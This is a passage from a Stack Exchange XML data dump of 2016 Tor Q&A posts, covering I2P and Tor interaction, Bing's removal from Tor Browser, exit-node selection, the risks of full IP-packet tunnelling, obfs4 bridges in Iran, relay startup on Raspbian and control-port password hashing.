the Tor network).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) It will affect your Tor anonymity only inasmuch as if a Tor or clearnet site contains an I2P link, the Tor exit nodes will not see your browser attempt (and fail) to look up the .i2p address in the global DNS. This could possibly be used as a distinguishing fingerprint, but it would be trivial for Tor developers to address if it concerned them (by blocking lookups of .i2p addresses through Tor).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It depends on the exact configuration - in some setups you could end up leaking your local IP address through Tor. Not relevant to I2P unless someone ran a VPN provider as a service inside I2P (none exist that I know of), which would not have an IP leakage problem if done correctly because the VPN provider would only see your I2P address. If they required you to use an I2P client SOCKS tunnel with regular client software, then again it will depend on the exact configuration.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;See 1. Additionally, I2P only has one HTTP outproxy by default, run by an I2P team member as a donation/convenience for the community.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: I'm a core I2P developer.&lt;/p&gt;&#xA;" OwnerUserId="1174" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-07-04T12:23:14.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12032" PostTypeId="1" CreationDate="2016-07-04T17:23:30.357" Score="1" ViewCount="460" Body="&lt;p&gt;Google rejects Tor-based searches 100% of the time. Have used Bing. Why is it no longer one of the search engines listed? And BTW please don't ask me to install the Bing add-on because FFox says it's corrupt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: &quot;sej&quot; suggested same &quot;official&quot; add-on. Tor prevents its download, see screenshot. Yes, I am running 6.0.2 &#xA;&lt;a href=&quot;https://i.stack.imgur.com/BE90f.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BE90f.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13510" LastEditorUserId="13510" LastEditDate="2016-07-05T18:16:05.987" LastActivityDate="2016-07-05T18:16:05.987" Title="Recent versions TorBrowser removed Bing? What?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12033" PostTypeId="2" ParentId="12032" CreationDate="2016-07-04T20:27:54.883" Score="2" Body="&lt;p&gt;I believe there were problems with Bing using HTTP instead of HTTPS for certain types of results. (See &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/13860&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; ticket.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bing was removed in Tor Browser version &lt;a href=&quot;https://blog.torproject.org/blog/tor-browser-45a4-released&quot; rel=&quot;nofollow&quot;&gt;4.5a4&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2016-07-04T20:27:54.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12034" PostTypeId="2" ParentId="12032" CreationDate="2016-07-04T20:37:53.820" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;Are you having problems with visiting the website itself? &lt;/li&gt;&#xA;&lt;li&gt;As far as i know, Bing isn't there in Firefox, hence TorBrowser also doesn't list it.&lt;/li&gt;&#xA;&lt;li&gt;You will have to install the add-on to be able to search from the search bar itself. I believe this is &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/bing/&quot; rel=&quot;nofollow&quot;&gt;official add-on?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;The site works fine, isnt blocking tor relays as I just checked.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7897" LastActivityDate="2016-07-04T20:37:53.820" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12035" PostTypeId="1" CreationDate="2016-07-05T02:54:26.230" Score="1" ViewCount="1230" Body="&lt;p&gt;Is it possible to keep one common exit node for all websites/domains during a TOR session? &#xA;And this IP address should be different for each new TOR browsers sessions (i.e. random exit node).&#xA;I mean that the IP address changes when TOR restarts only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need this to test for a real exit IP address by different online services on different domains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that it is possible to restrict an exit node to some country codes or IPs. But this is the manual solution (the manual editing of the torrc config each time), not an automatically selecting new exit nodes from a random pool. &#xA;I know also how to keep one individual IP address for each domain, but not the common cross-website IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, HOW to restrict the Tor for one cross-domain exit node, which should be chosen automatically each time when I launching the Tor?&lt;/p&gt;&#xA;" OwnerUserId="13520" LastEditorUserId="13520" LastEditDate="2016-07-05T05:22:54.430" LastActivityDate="2016-08-04T21:40:58.887" Title="One random exit node/IP-address for each new TOR session (but common for all websites) - how to?" Tags="|exit-relays|ip-address|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12036" PostTypeId="2" ParentId="9565" CreationDate="2016-07-05T11:11:04.833" Score="1" Body="&lt;p&gt;Tor uses SSL to secure point-to-point connections between peers. The multi-hop onion routing protocol (with its separate layered encryption) is implemented over these individual links. Thus it was possible for Iran to block Tor connections simply by &lt;a href=&quot;https://blog.torproject.org/blog/iran-partially-blocks-encrypted-network-traffic&quot; rel=&quot;nofollow&quot;&gt;identifying the beginning of the SSL handshakes from a client to its guard nodes, and interrupting them&lt;/a&gt;. It was a heavy-handed approach as it also impacts regular SSL connections to e.g. websites (although other selectors could be used to ignore handshakes to known or allowed webserver).&lt;/p&gt;&#xA;" OwnerUserId="1174" LastActivityDate="2016-07-05T11:11:04.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12040" PostTypeId="2" ParentId="12035" CreationDate="2016-07-05T21:12:25.097" Score="1" Body="&lt;p&gt;There are ways to do this but since this would totally break many of Tor's protections and stop you being anonymous, I will not help you shoot yourself in the foot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read the manual: &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/tor-manual.html.en&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-07-05T21:12:25.097" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12042" PostTypeId="2" ParentId="10015" CreationDate="2016-07-06T06:48:21.777" Score="1" Body="&lt;h3&gt;1. Massively increase complexity (read: attack surface).&lt;/h3&gt;&#xA;&lt;p&gt;Handling arbitrary IP packets, tracking their state and handling their responses is complex. Many operating systems over the years have had serious vulnerabilities in their various network stacks, if Tor implemented their own this would likely result in a series of similar vulnerabilities. See:&lt;/p&gt;&#xA;&lt;p&gt;Linux: &lt;a href=&quot;https://www.cvedetails.com/cve/CVE-2016-2070/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CVE-2016-2070&lt;/a&gt;, &lt;a href=&quot;https://www.cvedetails.com/cve/CVE-2015-5364/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CVE-2015-5364&lt;/a&gt;, &lt;a href=&quot;https://www.cvedetails.com/cve/CVE-2015-1465/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CVE-2015-1465&lt;/a&gt;, &lt;a href=&quot;https://www.cvedetails.com/cve/CVE-2014-3673/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CVE-2014-3673&lt;/a&gt;, &lt;a href=&quot;https://www.cvedetails.com/cve/CVE-2012-6638/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CVE-2012-6638&lt;/a&gt;, &lt;a href=&quot;https://www.cvedetails.com/cve/CVE-2012-2744/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CVE-2012-2744&lt;/a&gt;, and many, many more.&lt;/p&gt;&#xA;&lt;p&gt;Windows: &lt;a href=&quot;https://www.cvedetails.com/microsoft-bulletin/ms09-048/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ms09-048&lt;/a&gt;, &lt;a href=&quot;https://www.cvedetails.com/microsoft-bulletin/ms10-009/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ms10-009&lt;/a&gt;, &lt;a href=&quot;https://www.cvedetails.com/cve/CVE-2013-0075/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CVE-2013-0075&lt;/a&gt;, &lt;a href=&quot;https://www.cvedetails.com/microsoft-bulletin/MS13-018/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ms13-018&lt;/a&gt;, &lt;a href=&quot;https://www.cvedetails.com/cve/CVE-2014-1811/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CVE-2014-1811&lt;/a&gt;, &lt;a href=&quot;https://www.cvedetails.com/cve/CVE-2009-1925/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CVE-2009-1925&lt;/a&gt;, &lt;a href=&quot;https://www.cvedetails.com/microsoft-bulletin/MS14-031/&quot; rel=&quot;nofollow noreferrer&quot;&gt;MS14-031&lt;/a&gt;, and many, many more.&lt;/p&gt;&#xA;&lt;p&gt;And that's not to mention the difficulty of now implementing some kind of exit policy enforcement which would involve further parsing and classification of the packets in a &lt;em&gt;stateful&lt;/em&gt; manner!&lt;/p&gt;&#xA;&lt;p&gt;How do you discern who should be the recipient of specific types of packet? Could you trick the Exit to return another users traffic to you?&lt;/p&gt;&#xA;&lt;h3&gt;2. New types of abusive traffic for operators to deal with.&lt;/h3&gt;&#xA;&lt;p&gt;If entire IP packets are encapsulated then that necessarily includes the source IP address. Should Tor act like a NAT and rewrite the source, or allow exits to become participants in &lt;a href=&quot;https://en.wikipedia.org/wiki/Denial-of-service_attack#Reflected_.2F_spoofed_attack&quot; rel=&quot;nofollow noreferrer&quot;&gt;DNS reflection&lt;/a&gt; attacks? What about IP fragmentation as a means of by-passing stateless packetfilters?&lt;/p&gt;&#xA;&lt;p&gt;Similarly a &amp;quot;bad&amp;quot; exit has new, fine-grained ways to attack the clients various network stacks by sending response packets. This opens up new options to deanonymise or exploit tor users.&lt;/p&gt;&#xA;&lt;h3&gt;3. Metadata.&lt;/h3&gt;&#xA;&lt;p&gt;TCP/IP stacks require state. State identifies you as it changes over time. Full packet encapsulation mean the state that comes out of the other side of the connection is the same as your local state.&lt;/p&gt;&#xA;&lt;p&gt;TCP and IP and UDP all have various options that can be on or off or specific values. These are implementation and context specific. Tools like lcamtuf's &lt;a href=&quot;http://lcamtuf.coredump.cx/p0f3/&quot; rel=&quot;nofollow noreferrer&quot;&gt;p0f&lt;/a&gt; can determine your operating system and even version of operating system by looking at only a few packets. Currently with Tor, this is the exit or onion services operating system, if the full packet was encapsulated, it would be &lt;em&gt;yours&lt;/em&gt;. This might allow you to be tracked across sessions, as it currently does with VPNs.&lt;/p&gt;&#xA;&lt;p&gt;For example if you're the only user with a specific TCP fingerprint in your incoming TCP handshake to the VPN, you'll be the only user coming out of the VPN with that fingerprint in your TCP handshake.&lt;/p&gt;&#xA;&lt;h3&gt;4. Tor isn't magic&lt;/h3&gt;&#xA;&lt;p&gt;You can't just throw all your traffic at Tor and say &amp;quot;make me anonymous&amp;quot;, anonymity doesn't work like that. VPNs lack context, they route all traffic over a single path, this means all your traffic is linked together. You may not want your &amp;quot;anonymous&amp;quot; browsing traffic to be taking the same circuit as your ssh connection to your personal webserver, this would link together your &amp;quot;anonymous&amp;quot; browsing and your identity.&lt;/p&gt;&#xA;&lt;p&gt;For it to be used effectively it would need to provide some means of providing it context to isolate different applications or denying specific applications. If you don't, you will contaminate identities and potentially deanonymise yourself. There is currently no good way to do this outside of specific configuration of distinct applications.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Conclusion.&lt;/h3&gt;&#xA;&lt;p&gt;Ultimately I think it's a dangerous idea that Tor should be very, &lt;em&gt;very&lt;/em&gt; careful with if implemented. &lt;em&gt;Not&lt;/em&gt; implementing it would be far easier and safer for both clients, and exit and onion service operators.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-07-06T18:01:40.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12043" PostTypeId="2" ParentId="7227" CreationDate="2016-07-06T07:43:51.210" Score="-1" Body="&lt;p&gt;In &quot;Privacy and Security Settings&quot;, just uncheck &quot;Restrict third party cookies...&quot;&#xA;That's the only way to make wordpress.com work with Tor Browser...&lt;/p&gt;&#xA;" OwnerUserId="13529" LastActivityDate="2016-07-06T07:43:51.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12044" PostTypeId="2" ParentId="1303" CreationDate="2016-07-06T08:43:56.537" Score="0" Body="&lt;p&gt;DO NOT IMPORT, unless your $HOME is encrypted..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I usually store stuff on a encrypted partition, which is different from the &lt;code&gt;/home/user/&lt;/code&gt; The bookmarks are stored in &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~/.local/share/torbrowser &#xA;~/.cache/torbrowser/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so unless that is encrypted there is no point importing bookmarks&lt;/p&gt;&#xA;" OwnerUserId="13530" LastEditorDisplayName="user5" LastEditDate="2016-09-08T00:22:18.413" LastActivityDate="2016-09-08T00:22:18.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12045" PostTypeId="1" CreationDate="2016-07-06T10:27:40.443" Score="1" ViewCount="59" Body="&lt;p&gt;I've read discussions where some people advocate starting VPN first, then TOR and other recommend start TOR, then run the VPN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whichever way I connect, if I go to whoer.net or stilllistener.com to check my anonymity they always show the IP of the last TOR node.  Never the IP of the VPN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this normal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IF at least one method should show the VPN IP, what do I need to check / configure to make it happen please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.  Thank you.&lt;/p&gt;&#xA;" OwnerUserId="13532" LastActivityDate="2016-07-06T10:27:40.443" Title="Using VPN to hide TOR" Tags="|anonymity|security|vpn|" AnswerCount="0" CommentCount="5" ClosedDate="2016-07-06T20:09:36.020" ContentLicense="CC BY-SA 3.0" />
  <row Id="12046" PostTypeId="1" CreationDate="2016-07-06T10:53:17.203" Score="3" ViewCount="1674" Body="&lt;p&gt;I was wondering, what exactly are the differences between using Tor Browser in a regular Linux distribution such as Debian, versus using it in Whonix or Tails, in terms of privacy / anonymity?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there actually are differences, would it also be recommendable to just run Whonix / Tails as a VM within a regular Linux OS?&lt;/p&gt;&#xA;" OwnerUserId="13533" LastActivityDate="2016-08-18T02:52:15.583" Title="using Tor in regular OS vs Whonix/Tails" Tags="|tails|linux|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12047" PostTypeId="2" ParentId="12046" CreationDate="2016-07-06T11:06:04.077" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Tails and Whonix &lt;em&gt;are&lt;/em&gt; Debian.&lt;/li&gt;&#xA;&lt;li&gt;For just browsing, from a privacy and anonymity stand point, there's no difference between Tor Browser in Tails, Tor Browser in Whonix or Tor Browser on stock Debian.&lt;/li&gt;&#xA;&lt;li&gt;Don't run Tails in a VM.&lt;/li&gt;&#xA;&lt;li&gt;Tails and Whonix are designed for different use cases and shouldn't be conflated.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-07-06T11:12:16.013" LastActivityDate="2016-07-06T11:12:16.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12048" PostTypeId="1" CreationDate="2016-07-06T14:32:35.163" Score="0" ViewCount="55" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/grugq/portal&quot; rel=&quot;nofollow&quot;&gt;https://github.com/grugq/portal&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that this has not been developed for a while but was wondering if this still could be credible. Will getting the latest builds from tor be sufficient? And mimic a tor browser bundle. This does do bridges etc Any input would be great.&lt;/p&gt;&#xA;" OwnerUserId="13531" LastActivityDate="2016-07-06T18:14:09.580" Title="P.O.R.T.A.L still credable or not" Tags="|tor-browser-bundle|configuration|routers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12050" PostTypeId="2" ParentId="12048" CreationDate="2016-07-06T18:14:09.580" Score="1" Body="&lt;p&gt;&quot;PORTAL&quot; is what is termed an &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO/IsolatingProxy&quot; rel=&quot;nofollow&quot;&gt;&quot;Isolating Proxy&quot;&lt;/a&gt;. The concept is still valid and has definite advantages and &quot;PORTAL&quot; has been one of the best attempts to implement it, by actually offering access to Tor's &lt;code&gt;SOCKSPort&lt;/code&gt; and not just forcing &quot;Transparent Proxying&quot;. Fetching the latest updates for the software, and keeping the software up to date, is important, but the idea and the design is sound.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would handle bridges but that will involve some further software porting, cross-compiling obfs4proxy for Linux on MIPS or whatever your architecture is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't &quot;mimic&quot; Tor Browser, use actual Tor Browser on your client. It can be configured to use an Isolating Proxy.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-07-06T18:14:09.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12051" PostTypeId="1" CreationDate="2016-07-06T20:00:51.077" Score="1" ViewCount="443" Body="&lt;p&gt;I am configuring Firefox(for android) to reduce browser fingerprinting and to make it more anonymous like the tor browser. I use Orbot for connecting to Tor. I tried to use the ublock addon to block all third party sites. That does work but it prevents many web pages from loading. What key should i edit it about:config so as to make firefox not send http authentication data via its headers. Is it possible like that or do i require any addon?&lt;/p&gt;&#xA;" OwnerUserId="13538" LastActivityDate="2016-07-06T20:00:51.077" Title="Configure firefox to not send hidden authentication data to third party sites?(Just Like tor browser does)" Tags="|tor-browser-bundle|configuration|firefox|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="12053" PostTypeId="1" CreationDate="2016-07-07T20:03:42.517" Score="3" ViewCount="2037" Body="&lt;p&gt;I compiled tor from the source tarball annd configured it to run as a relay. The problem is that it won't start automatically on boot. I'm running raspbian jessie on a raspberry pi.&lt;/p&gt;&#xA;" OwnerUserId="13546" LastActivityDate="2017-05-05T20:02:23.280" Title="How to start tor on boot in Raspian Jessie?" Tags="|relays|linux|debian|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12058" PostTypeId="2" ParentId="12053" CreationDate="2016-07-08T05:05:48.807" Score="2" Body="&lt;p&gt;You can make Tor start on boot by running (as root):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update-rc.d tor enable&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because you compiled Tor from source, you may not have the files to automatically start Tor at boot. If it says some file is missing, you can extract &lt;code&gt;/etc/default/tor&lt;/code&gt; and &lt;code&gt;/etc/init.d/tor&lt;/code&gt; from Debian's Tor package.&lt;/p&gt;&#xA;" OwnerUserId="12198" LastActivityDate="2016-07-08T05:05:48.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12059" PostTypeId="1" CreationDate="2016-07-08T17:18:24.887" Score="2" ViewCount="210" Body="&lt;p&gt;I using the torsocks with curl.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;torsocks curl icanhazip.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It shows the following error&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;libtorsocks(15700): WARNING: The symbol res_querydomain() was not found in any shared library with the reported error: Not Found!&#xA;  Also, we failed to find the symbol __res_querydomain() with the reported error: Not Found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How to i solve it&lt;/p&gt;&#xA;" OwnerUserId="12701" LastActivityDate="2016-07-08T17:18:24.887" Title="Tor socks libtorsocks warning" Tags="|torsocks|terminal|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12060" PostTypeId="1" CreationDate="2016-07-08T19:21:30.027" Score="1" ViewCount="41" Body="&lt;p&gt;I enjoy using Firefox as my regular browser but as I'm running linux and it's not so easy to fully sandbox applications, I would prefer to run a modified TBB-hardened version as my desktop browser. I do not need to use the tor proxy network. I understand that this defeats anonymity and privacy but I would like to have some additional protection with Firefox and TBB-hardened provides that with selfrando. Do any of you very knowledgeable users know how to do this? I am not opposed to recompiling TBB-hardened.&lt;/p&gt;&#xA;" OwnerUserId="13557" LastActivityDate="2016-09-08T17:22:27.940" Title="Disabling tor proxy in tor browser bundle 6.5a1-hardened?" Tags="|tor-browser-bundle|anonymity|" AnswerCount="0" CommentCount="0" ClosedDate="2016-09-13T09:51:37.633" ContentLicense="CC BY-SA 3.0" />
  <row Id="12062" PostTypeId="1" CreationDate="2016-07-09T06:42:41.420" Score="1" ViewCount="646" Body="&lt;p&gt;I'm using Tor Browser 6.5a1 in Iran.&#xA;Problem is obfs4 doesn't connect.&#xA;I already tried using obfs4 bridges but it wasn't helpful.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;09/07/2016 07:29:09 ق.ظ.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09/07/2016 07:29:09 ق.ظ.700 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;09/07/2016 07:29:09 ق.ظ.700 [NOTICE] Renaming old configuration file to &quot;C:\Users\CPN\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\torrc.orig.1&quot; &#xA;09/07/2016 07:29:16 ق.ظ.100 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;09/07/2016 07:29:16 ق.ظ.100 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;09/07/2016 07:29:37 ق.ظ.800 [WARN] Proxy Client: unable to connect to 104.131.108.182:56880 (&quot;general SOCKS server failure&quot;) &#xA;09/07/2016 07:30:06 ق.ظ.100 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;09/07/2016 07:30:06 ق.ظ.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09/07/2016 07:30:06 ق.ظ.100 [NOTICE] Closing old Socks listener on 127.0.0.1:9150&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13561" LastEditorUserId="88" LastEditDate="2016-07-09T19:52:34.740" LastActivityDate="2016-07-09T19:52:34.740" Title="OBFS4 doesnt connect in iran" Tags="|censorship|pluggable-transports|obfs4|" AnswerCount="1" CommentCount="0" ClosedDate="2016-07-09T20:19:11.207" ContentLicense="CC BY-SA 3.0" />
  <row Id="12064" PostTypeId="1" CreationDate="2016-07-09T08:05:32.380" Score="1" ViewCount="233" Body="&lt;p&gt;my question is how does Tor validate routers? There are some specifications that mention that there are &quot;validated&quot; nodes, which have a &quot;valid&quot; flag (e.g. &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/path-spec.txt?id=ebb7d8701d000683ec7016176996f168dd10637b&quot; rel=&quot;nofollow&quot;&gt;https://gitweb.torproject.org/torspec.git/tree/path-spec.txt?id=ebb7d8701d000683ec7016176996f168dd10637b&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does Tor determine whether a node is valid or not? I couldn't figure it out of that reference. &#xA;If you have an answer, please also provide a reference.&lt;/p&gt;&#xA;" OwnerUserId="13563" LastActivityDate="2016-07-09T09:01:42.203" Title="Tor router validation" Tags="|relays|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12065" PostTypeId="2" ParentId="12064" CreationDate="2016-07-09T09:01:42.203" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt?id=ebb7d8701d000683ec7016176996f168dd10637b#n2085&quot; rel=&quot;nofollow&quot;&gt;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt?id=ebb7d8701d000683ec7016176996f168dd10637b#n2085&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;Valid&quot; -- a router is 'Valid' if it is running a version of Tor not&#xA;known to be broken, and the directory authority has not blacklisted&#xA;it as suspicious.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13565" LastActivityDate="2016-07-09T09:01:42.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12066" PostTypeId="1" CreationDate="2016-07-09T10:32:08.410" Score="1" ViewCount="48" Body="&lt;p&gt;I think the question is already clear enough. So, just to make it clearer, it can be interpreted as: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it true that my government will always be able to correlate me with the website which is also located in my country even when I use Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because it is widely known that AS-level adversary can deanonymize Tor user if it locates at both ends of the Tor anonymous path. And since I am using Tor to access a website located in my home country, my government definitely can monitor both Client&amp;lt;-&gt;Guard and Exit&amp;lt;-&gt;Website. As a result, when it comes to visiting a website hosted in my home country, it is useless to use Tor to hide my identity, isn't it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&lt;/p&gt;&#xA;" OwnerUserId="5202" LastEditorUserId="14997" LastEditDate="2018-09-10T09:24:36.440" LastActivityDate="2018-09-10T09:24:36.440" Title="Is it impossible to mitigate the Correlation Attack if I use Tor to access a website hosted in my home country?" Tags="|private|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12067" PostTypeId="1" AcceptedAnswerId="12082" CreationDate="2016-07-09T11:00:51.783" Score="2" ViewCount="96" Body="&lt;p&gt;Unfortunately, I couldn't find any reference to that question. Does Tor implement an own key generation for the RSA keys (and the other keys) or does the OR use an external implementation for that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if they implement it by themselves, how does the algorithm work exactly?&lt;/p&gt;&#xA;" OwnerUserId="13566" LastActivityDate="2016-09-09T00:20:45.433" Title="How does an OR create keys?" Tags="|private-key|implementations|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12068" PostTypeId="2" ParentId="6448" CreationDate="2016-07-09T11:11:38.593" Score="2" Body="&lt;p&gt;If you're using Windows PowerShell then try this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor --hash-password YourPasswordhere | out-file -filepath \path\to\somewhere\filename.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13567" LastActivityDate="2016-07-09T11:11:38.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12070" PostTypeId="2" ParentId="6448" CreationDate="2016-07-09T11:58:51.883" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt#n3007&quot; rel=&quot;nofollow&quot;&gt;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt#n3007&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;If the 'HashedControlPassword' option is set, it must contain the salted&#xA;hash of a secret password.  The salted hash is computed according to the&#xA;S2K algorithm in RFC 2440 (OpenPGP), and prefixed with the s2k specifier.&#xA;This is then encoded in hexadecimal, prefixed by the indicator sequence&#xA;&quot;16:&quot;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the code&#xA;&lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/common/crypto_s2k.c?id=7a489a638911012069981702065b952a5809d249#n172&quot; rel=&quot;nofollow&quot;&gt;https://gitweb.torproject.org/tor.git/tree/src/common/crypto_s2k.c?id=7a489a638911012069981702065b952a5809d249#n172&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13569" LastActivityDate="2016-07-09T11:58:51.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12071" PostTypeId="1" CreationDate="2016-07-09T14:15:52.890" Score="1" ViewCount="431" Body="&lt;p&gt;I am new to Tor and a basic user and when I try to open Tor i get this message:&#xA;The proxy server is refusing connections&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firefox is configured to use a proxy server that is refusing connections.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Check the proxy settings to make sure that they are correct.&#xA;Contact your network administrator to make sure the proxy server is working.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And how do I solve that?&lt;/p&gt;&#xA;" OwnerUserId="13570" LastActivityDate="2016-07-09T14:15:52.890" Title="Cannot open tor because of proxy server" Tags="|firefox|proxy|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
